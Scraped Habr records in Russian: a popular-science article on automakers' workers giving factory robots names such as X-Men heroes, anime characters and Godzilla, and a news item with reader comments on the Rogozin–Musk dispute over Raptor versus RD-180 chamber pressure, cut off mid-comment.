<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/e4d/076/5b7/e4d0765b705b441d6bae066030f4875b.jpg" alt="image" data-src="https://habrastorage.org/getpro/geektimes/post_images/e4d/076/5b7/e4d0765b705b441d6bae066030f4875b.jpg" data-blurred="true"/><br/> <br/> <em>Tesla называет роботов именами супергероев, а Nissan предпочитает персонажей аниме. Имя Годзилла любят все.</em><br/> <br/> На заводе Tesla во Фримонте, штат Калифорния, самые большие роботы на общей сборочной линии названы в честь супергероев из серии комиксов «Люди Икс». <a name="habracut"></a><br/> <br/> <div class="tm-iframe_temp" data-src="https://www.youtube.com/embed/8_lfxPI5ObM?feature=oembed" data-style="" id="" width="560"></div><br/> <br/> Рабочие на заводе грузовиков <a href="http://www.navistar.com/navistar/">Navistar</a> в штате Огайо не были настроены дружелюбно, когда почти 40 лет назад на производстве появился новый коллега.<br/> <br/> Это был робот-сварщик, и люди, комплектующие производственную линию, думали о нем как о нарушителе спокойствия, представляющем <a href="http://www.robo-hunter.com/news/rinok-promishlennoi-avtomatizacii-i-robototehniki-virastet-do-1477-milliardov-v-2019-godu">волну автоматизации</a>, которая ставит <a href="http://www.robo-hunter.com/news/roboti-deshevle---rabochih-menshe">под угрозу их рабочие места</a>. Они прозвали его Scabby (Подлый).<br/> <br/> Сегодня завод по изготовлению грузовиков закрыт, а враждебность по отношению к машинам рассеивается.<br/> <br/> Гигантские роботы, способные <a href="http://www.robo-hunter.com/news/roboti-stanovyatsya-dostupnee-vse-bolshe-rabochih-mest-ischezaet">выполнять работу нескольких человек</a>, заработали уважение после десятилетий сосуществования и теперь получают новые, более интересные прозвища.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/836/8f9/a59/8368f9a59a2c749dcb0bc73b047e509f.jpg" alt="image" data-src="https://habrastorage.org/getpro/geektimes/post_images/836/8f9/a59/8368f9a59a2c749dcb0bc73b047e509f.jpg" data-blurred="true"/><br/> <em>Годзилла от компании Ford</em><br/> <br/> <a href="http://www.robo-hunter.com/news/roboti-na-rabochih-mestah">Тенденция</a> лучше всего прослеживается на заводе во Фримонте, штат Калифорния, под управлением <a href="http://www.robo-hunter.com/news/testdraiv-moya-strashnaya-poezdka-na-tesla-d">Tesla Motors Inc.</a>, основанном большим фанатом комиксов Элоном Маском. Крупнейшие роботы были названы в честь супергероев Marvel.<br/> <br/> Их зовут Росомаха, Профессор X, Альпинист и Зверь. Имена вписываются в атмосферу производства. Завод в совместном владении Toyota Motor Corp. и General Motors Co. в настоящее время отображает "Эволюцию человека", показывая фреску с обезьянами, превращающимися в мужчин и женщин, которые, в свою очередь, трансформируются в Железного Человека.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/f85/460/84f/f8546084f51932db50403022b8322c81.jpg" alt="image" data-src="https://habrastorage.org/getpro/geektimes/post_images/f85/460/84f/f8546084f51932db50403022b8322c81.jpg" data-blurred="true"/><br/> <em>Более десяти роботов Tesla имеют имена</em><br/> <br/> <blockquote>Они — супергерои, так как делают сверхчеловеческие вещи, — сказал Ник Табак, который вместе с другими инженерами давал роботом имена. — Мы назвали их в честь Людей Икс, и это сделало их менее пугающими и больше частью команды.<br/> </blockquote><br/> <br/> На заводе во Фримонте огромные роботы поднимают алюминиевые <a href="http://www.robo-hunter.com/news/obzor-bortovaya-sistema-v-tesla">электромобили Model S</a> и переносят их на новую линию. Придерживаясь темы, компания заказала дизайнеру графическое изображение в стиле комиксов того, что происходит на каждой станции.<br/> <br/> <a href="http://www.teslamotors.com/">Компания Tesla</a> не одинока, а данное явление не уникально для Северной Америки. В компаниях <a href="http://www.ford.com/">Ford Motor Co</a>., <a href="http://world.honda.com/">Honda Motor Co.</a>, <a href="http://www.gm.com/">General Motors</a>, <a href="http://www.nissan-global.com/">Nissan Motor Co.</a> и <a href="http://www.toyota.com/">Toyota</a> – везде рабочие дают имена самым уважаемым роботам.<br/> <br/> На заводе Nissan в Кюсю на юге Японии есть желтые роботы, названные в честь известных персонажей аниме; они выполняют сварочные работы. Летят искры, в то время как огромные металлические части машин проходят свой путь к окончательной сборке.<br/> <br/> Одного зовут Сон Гоку, другого — Вегета. Это персонажи из японского аниме-сериала "Драконий жемчуг Зет", в котором искатели приключений защищают мир от зла.<br/> <br/> Также на заводе Nissan работают роботы, которых зовут Дораэмон и Дорами из шоу "Дораэмон", хитового аниме-сериала с сюжетом, относящимся к прошлым десятилетиям. Одного робота зовут Лаффи — это главный герой манги «One Piece. Большой куш», в которой рассказывается о молодом человеке, чье тело имеет все свойства резины.<br/> <br/> Мин Су Кан, профессор гуманитарных наук из Университета Миссури (Сент-Луис), говорит, что люди, как правило, неоднозначно сосуществуют с машинами, но также считает, что они могут вызывать чувство родства или комфорта. "Мы не даем имя ножницам, но, когда они начинают действовать, как человек, у них есть шанс получить имя".<br/> <br/> Несколько десятилетий назад на теперь закрытом заводе Navistar сотрудники вкладывали клюшку в руку робота Scabby и он загонял мячи в лунку во время семейных корпоративов. Это сделало машину более доступной и более человечной.<br/> <br/> <blockquote>Я помню, как ходил туда на день семьи и видел, как он загоняет мячи в лунку, — сказал Джейсон Барлоу, работник Navistar International в третьем поколении и сотрудник Объединенного профсоюза автостроителей. — Но был страх, так как люди думали, что он заберет их рабочие места.<br/> </blockquote><br/> <br/> Г-н Кан, автор книги «Благородные мечты о живых машинах», говорит, что явление, когда роботам дают имена, может свидетельствовать об уважении, но этот поступок также имеет оттенок страха: "Глубоко внутри эти работники боятся. Если машины не контролировать, они могут быть чрезвычайно опасными".<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/8dd/038/1b0/8dd0381b0c522d08b6575a86c9d1b2c6.jpg" alt="image" data-src="https://habrastorage.org/getpro/geektimes/post_images/8dd/038/1b0/8dd0381b0c522d08b6575a86c9d1b2c6.jpg" data-blurred="true"/><br/> <br/> <em>В компании Honda робота Fanuc M-2000 в открытую называют T-Rex, а между собой — Годзиллой. На других заводах его также называют Годзиллой.</em><br/> <br/> Форд запускает новый, более легкий пикап F-150 с алюминиевым корпусом, который представляет собой квантовый скачок для промышленности, которая уже давно полагалась на сталь. Работу невозможно выполнить без Baby Zilla — робота автоматической линии, который двигает готовый корпус грузовика из кузовного цеха на сборочные линии в Дирборн, штат Мичиган, и в Канзас-Сити, штат Миссури.<br/> <br/> Однако Baby Zilla находится в тени Годзиллы — гигантского робота М-2000 Fanuc, работающего на заводах компании Ford, где изготавливают корпусы из стали. Способный поднять почти 3000 фунтов, он берет автомобиль и перемещает его с одной движущейся линии сборки на другую.<br/> <br/> По тому, как работает робот, открывая и закрывая зажимы, можно легко увидеть сходство с огнедышащим 30-метровым монстром, который несет разорение в Токио. Toyota, GM и Honda — все называют Годзиллами роботов на своих заводах.<br/> <br/> <blockquote>Он настолько велик, что делает работу, которую раньше выполняли несколько машин, — сказал Рон Кетелхат, инженер, работающий на заводе Ford. — Это самый большой робот в промышленности.<br/> </blockquote><br/> <br/> Годзилла компании Honda работает в тандеме с другим М-2000, которого окрестили T-Rex, в Ист-Либерти, штат Огайо, на заводе, где изготавливают внедорожник С-RV.<br/> <br/> <blockquote>Это одна из моих любимых вещей на заводе,-  сказал Том Литавиш, инженер-координатор на заводе Honda. — Один робот устанавливает двигатель, а другой ставит заднюю подвеску.<br/> </blockquote><br/> <br/> Автомобильные заводы рады посетителям от местного правительства или СМИ, и робот T-Rex всегда привлекает внимание. "Люди останавливаются, чтобы посмотреть на него, когда проходят мимо", — сказал г-н Литавиш.<br/> <br/> Во время недавнего дня семьи (похожего на проводившиеся в Navistar много лет назад) рабочие подготовили пару гигантских роботов Honda, чтобы они могли развлекать толпу.<br/> <br/> Один робот держал небольшой объект, который должен был напоминать НЛО, висящий в воздухе благодаря массивным зажимам. Он был запрограммирован, чтобы перемещать объект так, как будто это летающая тарелка.<br/> <br/> К руке другого робота прикрепили манекен инопланетянина в 1,80 м ростом, которого он перемещал вверх и вниз, что сопровождалось светом стробоскопов.<br/> <br/> Завод Honda в Огайо также использует больших сварочных роботов, которых зовут Биг Мак и Громадина. "Мы дали им имена, скорее всего, потому, что гордимся ими", — сказал г-н Литавиш.<br/> <br/>  </div>
Olga Ganzienko (OlgaGanz)
null
null
<img src="https://habrastorage.org/getpro/geektimes/post_images/e4d/076/5b7/e4d0765b705b441d6bae066030f4875b.jpg" alt="image"/><br/> <br/> <em>Tesla называет роботов именами супергероев, а Nissan предпочитает персонажей аниме. Имя Годзилла любят все.</em><br/> <br/> На заводе Tesla во Фримонте, штат Калифорния, самые большие роботы на общей сборочной линии названы в честь супергероев из серии комиксов «Люди Икс».
Tesla называет роботов именами супергероев, а Nissan предпочитает персонажей аниме. Имя Годзилла любят все. На заводе Tesla во Фримонте, штат Калифорния, самые большие роботы на общей сборочной линии названы в честь супергероев из серии комиксов «Люди Икс».
article
1,436,975,699
{ "commentsCount": 1, "favoritesCount": 16, "readingCount": 6811, "score": 6, "votesCount": 8, "votesCountPlus": 7, "votesCountMinus": 1 }
[]
[ "robohunter", "robot" ]
[ "popsci" ]
[ "робототехника", "роботы", "завод", "промышленность", "работают", "General Motors", "Honda", "Ford", "Nissan", "Tesla", "Model S", "Navistar" ]
4
null
null
{ "id": [ 16070555 ], "parent_id": [ null ], "level": [ 0 ], "time_published": [ 1437068457 ], "score": [ 0 ], "votes": [ 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как я перестал беспокоиться и полюбил робота</div>" ], "message_markdown": [ "Как я перестал беспокоиться и полюбил робота" ], "author": [ "Вадим Марков (BubaVV)" ], "children": [ [] ] }
441,170
ru
https://habr.com/ru/post/441170/
Глава «Роскосмоса» не верит в способность Маска создать ракетный двигатель, превосходящий российские разработки
По словам гендиректора «Роскосмоса» Дмитрия Рогозина компания SpaceX, главой которой является Илон Маск, в ближайшее время не сможет создать ракетные двигатели, превосходящие российский аналог. Рогозин считает, что отечественные двигатели — «номер один в мире», о чем сообщает «Интерфакс». «Маск не является специалистом техническим в этом вопросе, просто не понимает, о чем идет речь. Это как сравнивать дизельные и бензиновые двигатели по возможностям. До сих пор он летал и летает на кислородо-керосиновых двигателях, он собирается выйти на новые показатели по двигателю, у нас такое тоже есть», — сказал Рогозин журналистам в среду. Комментарий глава «Роскосмоса» оставил после того, как Илон Маск заявил о превосходстве двигателя Raptor над российским аналогом РД-180. По мнению предпринимателя, превосходство в этом случае выражается в более высоком показателе уровня давления в камере сгорания. > Raptor reached 268.9 bar today, exceeding prior record held by the awesome Russian RD-180. Great work by @SpaceX engine/test team! pic.twitter.com/yPrvO0JhyY > > — Elon Musk (@elonmusk) February 11, 2019 Кроме Рогозина отзыв на заявление Маска оставил и главный конструктор «Энергомаша» Петр Левочкин. Он заявил следующее: «Господин Маск, не будучи техническим специалистом, не учитывает, что в двигателе РД-180 для ракеты-носителя Atlas используется совершенно другая топливная схема — «кислород-керосин», а это иные параметры работы двигателя. Это как сравнивать дизельный и бензиновый двигатель внутреннего сгорания. А если учитывать то, что «Энергомаш» сертифицировал двигатель с 10% запасом, то давление в камере сгорания РД-180 — выше 280 атмосфер". По мнению специалиста, в таких двигателях уровень давления действительно высокий, но этот показатель не считается чем-то выдающимся. «А сам параметр давление в камере не является выходной характеристикой двигателя, такой как тяга и удельный импульс», — сказал он. > ### Минутка заботы от НЛО > > > Этот материал мог вызвать противоречивые чувства, поэтому перед написанием комментария освежите в памяти кое-что важное: > > > > Как написать комментарий и выжить > > Не пишите оскорбительных комментариев, не переходите на личности. > Воздержитесь от нецензурной лексики и токсичного поведения (даже в завуалированной форме). > Для сообщения о комментариях, нарушающих правила сайта, используйте кнопку «Пожаловаться» (если доступна) или форму обратной связи. > > Что делать, если: минусуют карму | заблокировали аккаунт > > → Кодекс авторов Хабра и хабраэтикет > → Полная версия правил сайта
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://static.novayagazeta.ru/storage/image/7636/detail_original-5098077ee17a7bcf6c377cb3d94063f9.jpg" data-src="https://static.novayagazeta.ru/storage/image/7636/detail_original-5098077ee17a7bcf6c377cb3d94063f9.jpg" data-blurred="true"/><br/> <br/> По словам гендиректора «Роскосмоса» Дмитрия Рогозина компания SpaceX, главой которой является Илон Маск, в ближайшее время не сможет создать ракетные двигатели, превосходящие российский аналог. Рогозин считает, что отечественные двигатели — «номер один в мире», о чем <a href="https://www.interfax.ru/russia/651354">сообщает</a> «Интерфакс». <br/> <br/> «Маск не является специалистом техническим в этом вопросе, просто не понимает, о чем идет речь. Это как сравнивать дизельные и бензиновые двигатели по возможностям. До сих пор он летал и летает на кислородо-керосиновых двигателях, он собирается выйти на новые показатели по двигателю, у нас такое тоже есть», — сказал Рогозин журналистам в среду.<br/> <a name="habracut"></a><br/> Комментарий глава «Роскосмоса» оставил после того, как Илон Маск заявил о превосходстве двигателя Raptor над российским аналогом РД-180. По мнению предпринимателя, превосходство в этом случае выражается в более высоком показателе уровня давления в камере сгорания. <br/> <br/> <div class="oembed"><blockquote class="twitter-tweet" data-lang="en_US"><p lang="en" dir="ltr">Raptor reached 268.9 bar today, exceeding prior record held by the awesome Russian RD-180. Great work by <a href="https://twitter.com/SpaceX?ref_src=twsrc%5Etfw">@SpaceX</a> engine/test team! <a href="https://t.co/yPrvO0JhyY">pic.twitter.com/yPrvO0JhyY</a></p>— Elon Musk (@elonmusk) <a href="https://twitter.com/elonmusk/status/1094782854007910400?ref_src=twsrc%5Etfw">February 11, 2019</a></blockquote> <script async="async" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> </div><br/> Кроме Рогозина отзыв на заявление Маска оставил и главный конструктор «Энергомаша» Петр Левочкин. Он заявил следующее: «Господин Маск, не будучи техническим специалистом, не учитывает, что в двигателе РД-180 для ракеты-носителя Atlas используется совершенно другая топливная схема — «кислород-керосин», а это иные параметры работы двигателя. Это как сравнивать дизельный и бензиновый двигатель внутреннего сгорания. А если учитывать то, что «Энергомаш» сертифицировал двигатель с 10% запасом, то давление в камере сгорания РД-180 — выше 280 атмосфер".<br/> <br/> По мнению специалиста, в таких двигателях уровень давления действительно высокий, но этот показатель не считается чем-то выдающимся. «А сам параметр давление в камере не является выходной характеристикой двигателя, такой как тяга и удельный импульс», — сказал он.<br/> <br/> <blockquote><img src="https://habrastorage.org/r/w1560/webt/jy/sd/rr/jysdrr7tqgfjt50wtcshw89ctho.png" align="left" data-src="https://habrastorage.org/webt/jy/sd/rr/jysdrr7tqgfjt50wtcshw89ctho.png"/><h3>Минутка заботы от НЛО</h3><br/> Этот материал мог вызвать противоречивые чувства, поэтому перед написанием комментария освежите в памяти кое-что важное:<br/> <br/> <div class="spoiler" role="button" tabindex="0"> <b class="spoiler_title">Как написать комментарий и выжить</b> <div class="spoiler_text"><ul> <li>Не пишите оскорбительных комментариев, не переходите на личности.</li> <li>Воздержитесь от нецензурной лексики и токсичного поведения (даже в завуалированной форме).</li> <li>Для сообщения о комментариях, нарушающих правила сайта, используйте кнопку «Пожаловаться» (если доступна) или <a href="https://habr.com/feedback/?type=4">форму обратной связи</a>.</li> </ul><br/> Что делать, если: <a href="https://habr.com/info/help/karma/#recovery">минусуют карму</a> | <a href="https://habr.com/info/help/sandbox/">заблокировали аккаунт</a><br/> <br/> → <a href="https://habr.com/info/help/other/#lawbook">Кодекс авторов Хабра</a> и <a href="https://habr.com/info/help/other/#culture">хабраэтикет</a><br/> → <a href="https://habr.com/info/help/rules/">Полная версия правил сайта</a></div> </div></blockquote></div>
Максим Агаджанов (marks)
null
null
<img src="https://static.novayagazeta.ru/storage/image/7636/detail_original-5098077ee17a7bcf6c377cb3d94063f9.jpg"/><br/> <br/> По словам гендиректора «Роскосмоса» Дмитрия Рогозина компания SpaceX, главой которой является Илон Маск, в ближайшее время не сможет создать ракетные двигатели, превосходящие российский аналог. Рогозин считает, что отечественные двигатели — «номер один в мире», о чем <a href="https://www.interfax.ru/russia/651354">сообщает</a> «Интерфакс». <br/> <br/> «Маск не является специалистом техническим в этом вопросе, просто не понимает, о чем идет речь. Это как сравнивать дизельные и бензиновые двигатели по возможностям. До сих пор он летал и летает на кислородо-керосиновых двигателях, он собирается выйти на новые показатели по двигателю, у нас такое тоже есть», — сказал Рогозин журналистам в среду.<br/>
По словам гендиректора «Роскосмоса» Дмитрия Рогозина компания SpaceX, главой которой является Илон Маск, в ближайшее время не сможет создать ракетные двигатели, превосходящие российский аналог. Рогозин считает, что отечественные двигатели — «номер один в мире», о чем сообщает «Интерфакс». «Маск не является специалистом техническим в этом вопросе, просто не понимает, о чем идет речь. Это как сравнивать дизельные и бензиновые двигатели по возможностям. До сих пор он летал и летает на кислородо-керосиновых двигателях, он собирается выйти на новые показатели по двигателю, у нас такое тоже есть», — сказал Рогозин журналистам в среду.
news
1,550,749,312
{ "commentsCount": 136, "favoritesCount": 13, "readingCount": 29888, "score": 24, "votesCount": 52, "votesCountPlus": 38, "votesCountMinus": 14 }
[]
[ "space", "transport" ]
[ "popsci" ]
[ "космонавтика", "двигатели", "маск", "рогозин", "spacex", "роскосмос" ]
2
null
null
{ "id": [ 19785050, 19785098, 19785130, 19785172, 19785188, 19785196, 19785224, 19785226, 19785262, 19785308, 19785354, 19785360, 19785378, 19785406, 19785448, 19785470, 19785474, 19785500, 19785502, 19785592, 19785646, 19785662, 19785786, 19785798, 19785858, 19785914, 19785926, 19785944, 19785952, 19785970, 19786030, 19786158, 19786272, 19786316, 19786366, 19786516, 19786592, 19786596, 19786598, 19786628, 19786732, 19786740, 19786792, 19786808, 19786876, 19786934, 19787276, 19787360, 19787398, 19787464, 19787532, 19787542, 19787562, 19787602, 19787624, 19787632, 19787658, 19787720, 19787738, 19787740, 19787750, 19787776, 19787822, 19787872, 19787948, 19788044, 19788058, 19788124, 19788130, 19788134, 19788156, 19788198, 19788208, 19788282, 19788372, 19788412, 19788434, 19788482, 19788488, 19788538, 19788698, 19788702, 19788754, 19788870, 19788894, 19788896, 19788902, 19788916, 19788990, 19789114, 19789156, 19789222, 19789322, 19789612, 19789636, 19789674, 19789688, 19790362, 19790486, 19790744, 19790950, 19791382, 19791408, 19791422, 19791522, 19791782, 19791900, 19792412, 19792422, 19792916, 19793230, 19793360, 19796264, 19796270, 19796278, 19797068, 19797762, 19798356, 19798682, 19798830, 19798840, 19798880, 19798930, 19798936, 19798978, 19798986, 19798992, 19798998, 19799016, 19799062, 19799106, 19799116, 19799170, 19799176, 19800440, 19817174 ], "parent_id": [ null, null, null, null, null, null, null, null, null, null, 19785196, 19785308, null, 19785308, 19785378, null, 19785448, null, 19785474, null, 19785502, 19785646, null, 19785662, 19785786, null, 19785050, 19785308, 19785786, 19785798, 19785262, 19785050, 19785970, 19785406, 19785354, 19785858, null, 19786316, 19786030, null, 19785926, null, 19785944, 19785500, 19785952, 19786598, 19786792, 19786934, 19786628, 19787276, null, 19785500, null, 19785952, 19786316, 19786808, 19787464, 19787658, 19786272, 19787720, 19787740, 19785970, null, 19785970, null, 19786366, 19786596, 19785378, 19785224, 19787632, 19788130, 19787948, 19785130, null, 19788156, 19787822, 19785926, 19785354, 19785378, 19788488, 19788434, null, 19786876, 19788702, 19788538, null, 19788702, 19788894, 19788702, 19787738, 19788698, 19788198, null, 19789322, 19789612, 19785378, 19789674, null, 19788208, 19790486, null, 19788916, 19791382, 19788488, 19791422, 19786516, 19791782, 19791522, 19791782, 19791782, 19788198, 19791522, 19789636, 19796264, 19796270, 19796278, 19797068, 19797762, 19797762, 19798356, 19798682, 19798840, 19798682, 19798880, 19798936, 19798930, 19798986, 19798978, 19798992, 19798936, 19799016, 19798998, 19799116, 19796278, 19791782, 19789156 ], "level": [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 2, 0, 3, 0, 4, 5, 0, 6, 1, 0, 1, 1, 1, 7, 1, 1, 8, 2, 2, 2, 0, 3, 2, 0, 2, 0, 2, 1, 2, 3, 3, 4, 1, 4, 0, 1, 0, 2, 3, 2, 5, 6, 9, 7, 8, 8, 0, 8, 0, 3, 4, 1, 1, 3, 2, 1, 1, 0, 3, 1, 2, 2, 1, 2, 3, 0, 3, 1, 3, 0, 1, 4, 1, 10, 4, 2, 0, 1, 2, 1, 2, 0, 2, 3, 0, 5, 6, 2, 3, 3, 4, 4, 4, 4, 2, 4, 3, 4, 5, 6, 7, 8, 8, 9, 9, 10, 9, 11, 12, 10, 11, 13, 12, 12, 13, 14, 15, 6, 4, 5 ], "time_published": [ 1550750602, 1550751001, 1550751270, 1550751679, 1550751875, 1550751946, 1550752214, 1550752230, 1550752608, 1550752913, 1550753365, 1550753439, 1550753592, 1550753895, 1550754383, 1550754621, 1550754689, 1550754902, 1550754904, 1550755681, 1550756318, 1550756425, 1550757496, 1550757633, 1550758327, 1550758817, 1550758984, 1550759115, 1550759138, 1550759272, 1550759892, 1550761162, 1550762242, 1550762684, 1550763227, 1550764855, 1550765765, 1550765791, 1550765819, 1550766515, 1550767829, 1550767957, 1550768371, 1550768635, 1550769278, 1550770104, 1550775342, 1550776710, 1550777336, 1550778520, 1550779914, 1550780176, 1550780365, 1550781060, 1550781390, 1550781461, 1550781911, 1550783555, 1550783795, 1550783819, 1550783918, 1550784866, 1550787167, 1550789565, 1550792505, 1550798776, 1550800698, 1550805671, 1550805973, 1550806083, 1550806774, 1550809224, 1550809433, 1550811422, 1550814059, 1550814838, 1550815340, 1550816367, 1550816475, 1550817185, 1550818983, 1550819004, 1550819611, 1550820755, 1550820915, 1550820953, 1550821003, 1550821199, 1550821883, 1550823486, 1550823960, 1550824569, 1550825601, 1550828528, 1550828763, 1550829040, 1550829214, 1550834988, 1550836002, 1550838198, 1550839683, 1550844302, 1550844684, 1550844786, 1550845867, 1550849313, 1550850797, 1550857578, 1550857766, 1550870435, 1550887573, 1550899756, 1550988783, 1550989233, 1550989403, 1551003174, 1551011788, 1551020402, 1551026105, 1551028641, 1551028741, 1551029289, 1551029846, 1551029918, 1551030480, 1551030576, 1551030711, 1551030809, 1551031117, 1551031620, 1551032227, 1551032337, 1551033333, 1551033395, 1551071784, 1551341002 ], "score": [ 43, 13, 29, 18, 22, 31, 48, 9, 3, 0, 9, 2, 19, 11, -10, -9, 11, 12, -8, 5, 10, -9, 12, 4, 8, 17, 8, 2, 1, -18, 2, 0, 0, 1, 1, 2, 4, 3, 1, 7, 2, 0, 3, 4, 5, 2, 1, 2, 2, 3, 2, 8, 4, 3, 5, 1, 0, 2, 2, -4, 6, 10, 6, 8, 1, 3, 0, 7, 1, 1, 4, 0, 11, 3, 1, 2, -11, 1, -8, 4, 6, 0, 1, 0, 0, 0, 1, 0, 0, 4, 1, 2, 0, 0, 1, -2, 3, 0, 0, 2, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0 ], "votes": [ 43, 13, 29, 18, 22, 33, 48, 9, 3, 2, 9, 2, 21, 13, 14, 11, 11, 12, 14, 15, 12, 13, 14, 10, 8, 19, 12, 4, 1, 34, 2, 0, 2, 1, 1, 2, 4, 3, 1, 7, 2, 2, 3, 4, 5, 2, 1, 2, 4, 3, 2, 10, 4, 3, 5, 1, 0, 2, 2, 4, 6, 10, 6, 8, 1, 5, 0, 7, 1, 1, 4, 0, 11, 3, 3, 2, 11, 1, 8, 4, 6, 0, 1, 0, 0, 0, 1, 0, 0, 4, 1, 2, 0, 0, 1, 4, 3, 2, 4, 2, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">А можно поинтересоваться, когда Рогозин говорит о том, что отечественные двигатели номер один в мире, он имеет ввиду российские, или доставшиеся в наследство от Советского Союза? А может кто то привести примеры действительно российских двигателей, которые действительно «номер один»?<br/>\r\n<br/>\r\nА то Маск всё делает на основе работ Наса (с), а что сделал сам Роскосмос то?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>превосходящие российский аналог</blockquote><br/>\r\nА он есть аналог-то? Я знаю только про один метан-кислородный отечественный двигатель РД-0162, который пока так же находится в стадии разработки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Комментарий глава «Роскосмоса» оставил после того, как Илон Маск заявил о превосходстве двигателя Raptor над российским аналогом РД-180. По мнению предпринимателя, превосходство в этом случае выражается в более высоком показателе уровня давления в камере сгорания. <br/>\r\n</blockquote><br/>\r\nОн заявил о том что давление выше. А не о превосходстве двигателя.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Собака лает, караван идет. Кто тут собака, сами догадаетесь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Рогозин считает</blockquote><br/>\r\nРогозин опять думает, что умеет считать. А журламеры ему верят.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><b>1. Отрицание</b> — Рогозин находится здесь<br/>\r\n2. Гнев<br/>\r\n3. Торг<br/>\r\n4. Депрессия<br/>\r\n5. Принятие<br/>\r\n<br/>\r\nХотя порой мне кажется что наши чиновники отличаются способностью находится на первых четырех стадиях одновременно, все время, до наступления пятой стадии.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«Маск не является специалистом техническим в этом вопросе, просто не понимает, о чем идет речь. » <br/>\r\n(с) прекрасный технический специалист Д.Рогозин.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Даже если Раптор будет уступать на 1% по тем или иным параметрам, но будет многоразовым и без кап. ремонта. То это уже превосходство. Сейчас главное для Спейсов — сам факт практического применения.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Двигатель сертифицирован с запасом 10%…<br/>\r\nВообще это значит, что на испытаниях давали бо́льшее давление, чем штатное, а не наоборот. Выходит, что либо ГК чушь сморозил, либо двигатели не соответствуют сертификации и штатно работают при давлениях на которых сертификационные испытания не проводили… </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так какой двигатель лучше в итоге?<br/>\r\nУ какого двигателя тяга выше на одной и той же высоте?<br/>\r\nРасход топлива?<br/>\r\nВероятность отказа?<br/>\r\nСтоимость производства (сложность сборки)? — кстати очень субъективный параметр. Возможно двигатель имеет 100500 частей, но его производство можно полностью автоматизировать, а может иметь 200 частей, но сборка настолько сложна, что только в ручную… <br/>\r\nТак какой двигатель лучше? Я так понимаю Маск по словам Рогозина достиг уровня 1994 года. Т.е. когда отрасль уже начала разваливаться, но напоследок проект выпустили в продакшн. За 25 лет с того момента, насколько обновился парк разработок Российских двигателей? или все же Маск достиг уровня 2019 года?<br/>\r\n<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тогда уж так:<br/>\r\n<b>1. Отрицание, Гнев, Торг, Депрессия</b> — Рогозин находится здесь<br/>\r\n2. Принятие</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>или все же Маск достиг уровня 2019 года?</blockquote>Исходя из ваших определений, кто достиг уровня 2019-го года?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Интересно, а гендиректор роскосмоса считает корректным, когда государственная космическая компания великой сверхдержавы (ну как говорят из телевизора) начинает соревноваться с частной космической компанией? по-моему, это позор.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Маск первым достиг такого давления для ракетного двигателя на метане. А по УИ и по себестоимости его двигатель уделает РД-180 уже лишь тем, что работает на метане. Никто ничего сопоставимого не делал. Так что Маск достиг уровня 20-х годов 21 века. В ближайшие года никто не повторит. А раз так — то мы видим повтороение басни «зелен виноград» и Рогозина в роли лисицы. Хотя лисица-то хоть пыталась, в отличие от…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Почему позор? Какая разница кто (не) даст результат, частная или государственная компания?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"https://habrastorage.org/webt/5c/6e/a3/5c6ea32d04109858215976.png\"> <img src=\"https://habrastorage.org/r/w1560/webt/5c/6e/a3/5c6ea32d04109858215976.png\" alt=\"image\" data-src=\"https://habrastorage.org/webt/5c/6e/a3/5c6ea32d04109858215976.png\"/><br/>\r\n</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">разные «весовые категории».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В то время как у роскосмоса ракеты падают на взлёте, у Маска садятся автоматически, выполнив задачу. Действительно, сравнивать уже не корректно...! =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А как вы «вес» измеряете? По бюджету?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Илон — сказал, Илон — сделал!<br/>\r\nУ Рогозина — всё из рук валится и всё падает.<br/>\r\n<img src=\"https://habrastorage.org/r/w780q1/getpro/habr/comment_images/8a7/893/83b/8a789383be19430708a1c3fdaf64d898.jpg\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/habr/comment_images/8a7/893/83b/8a789383be19430708a1c3fdaf64d898.jpg\" data-blurred=\"true\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">по потенциальным возможностям.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы конкретизируйте немного, а то одна вода. Что за потенциальные возможности и как они измеряются?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Илон Маск в Твиттере ответил на критику от Рогозина: «I have been chief engineer/designer at SpaceX from day 1. Had I been better, our first 3 launches might have succeeded, but I learned from those mistakes.»<br/>\r\n<a 